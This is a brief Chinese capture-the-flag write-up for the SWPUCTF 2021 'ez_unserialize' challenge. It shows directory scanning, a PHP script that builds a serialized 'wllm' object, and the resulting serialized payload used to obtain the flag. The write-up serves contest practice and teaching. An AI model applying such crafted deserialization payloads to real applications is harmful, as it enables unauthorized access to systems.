php_unserialize_sample_ctf_questions(ing)

[SWPUCTF 2021 新生赛]ez_unserialize

进入题目,扫描目录,发现robots.txt
image

访问
image

构造序列化

<?php

class wllm
{
  public $admin = 'admin' ;
  public $passwd = 'ctf';
}

$p = new wllm ;
$str = serialize($p);
echo $str ; 
echo urlencode($str)


?>

得到payload
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
获得flag

posted @ 2024-11-20 20:16  大果蝇11223  阅读(1)  评论(0编辑  收藏  举报